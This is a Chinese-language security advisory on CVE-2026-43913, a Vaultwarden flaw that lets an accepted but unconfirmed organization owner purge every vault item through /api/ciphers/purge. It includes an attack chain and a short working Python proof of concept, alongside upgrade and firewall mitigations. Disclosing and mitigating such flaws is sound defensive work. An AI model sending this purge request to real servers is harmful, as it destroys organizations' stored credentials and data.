IPBUF安全漏洞报告
English
CVE-2026-43913 CVSS 8.1 高危

CVE-2026-43913: Vaultwarden 未确认组织所有者权限绕过导致数据清空漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43913
漏洞类型
访问控制失效
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vaultwarden

相关标签

权限绕过Vaultwarden逻辑漏洞数据删除

漏洞概述

Vaultwarden 是一个用 Rust 编写的 Bitwarden 兼容服务器。在 1.35.5 版本之前,该系统存在一个严重的安全漏洞,允许尚未完成最终确认流程的组织所有者清空整个组织的 Vault 数据库。该漏洞产生的原因在于组织邀请流程的验证逻辑存在缺陷。正常情况下,组织邀请包含两个步骤:用户接受邀请使状态变为“Accepted”,以及现有所有者进行确认使状态升级为“Confirmed”。然而,用于删除数据的 POST /api/ciphers/purge 接口仅检查了用户的成员类型是否为“Owner”,而未验证其成员状态是否为“Confirmed”。因此,任何已接受邀请但尚未被正式确认的认证用户,都可以利用此接口硬删除组织内所有的密码条目和附件,导致立即发生全组织范围内的数据丢失。

技术细节

该漏洞属于业务逻辑层面的权限验证绕过。在 Vaultwarden 的代码实现中,组织成员的权限控制依赖于两个关键维度:成员类型和成员状态。当攻击者被邀请为组织所有者并点击接受后,其成员类型被标记为 Owner,但成员状态仅处于 Accepted 阶段,并未达到 Confirmed 阶段。此时,攻击者虽然拥有有效的认证令牌,但在逻辑上不应拥有完全的管理权限。漏洞触发的关键在于 /api/ciphers/purge 端点的逻辑实现。该端点在处理请求时,仅校验了请求头中的认证信息以及数据库中该用户的 membership_type 字段是否等于 Owner。由于缺失了对 membership_status 字段是否等于 Confirmed 的校验,系统错误地将一个“未确认的所有者”视为“完全授权的所有者”。攻击者利用这个逻辑漏洞,在管理员完成确认之前的短暂时间窗口内,向该端点发送 POST 请求。服务器验证通过后,将执行数据库层面的硬删除操作,移除该组织关联的所有 ciphers 和 attachments 记录。

攻击链分析

STEP 1
步骤1
攻击者接受组织所有者的邀请,账户状态从 Invited 变为 Accepted,但尚未被现有管理员确认。
STEP 2
步骤2
攻击者使用已认证的会话 Token,向服务器端点 POST /api/ciphers/purge 发送请求。
STEP 3
步骤3
服务器端逻辑仅验证 Token 有效性及用户是否为 Owner 类型,未检查确认状态。
STEP 4
步骤4
验证通过,服务器执行数据库操作,删除组织内所有 cipher 和 attachment 数据。
STEP 5
步骤5
组织发生全面数据丢失,完整性和可用性遭到破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "https://target-vaultwarden-server/api/ciphers/purge" # Auth token of an unconfirmed owner (Accepted status) # Obtained after logging in and accepting the invite headers = { "Authorization": "Bearer <UNCONFIRMED_OWNER_TOKEN>", "Content-Type": "application/json" } try: # Send the purge request response = requests.post(url, headers=headers) if response.status_code == 200: print("[+] Success: Organization purged.") else: print(f"[-] Failed: Status code {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Vaultwarden < 1.35.5

防御指南

临时缓解措施
建议管理员立即将 Vaultwarden 实例升级到 1.35.5 版本。如果无法立即升级,应暂时限制新邀请的所有者权限,或者通过网络防火墙限制对 /api/ciphers/purge 接口的访问,仅允许受信任的管理员 IP 访问,以防止未确认用户利用此漏洞。

参考链接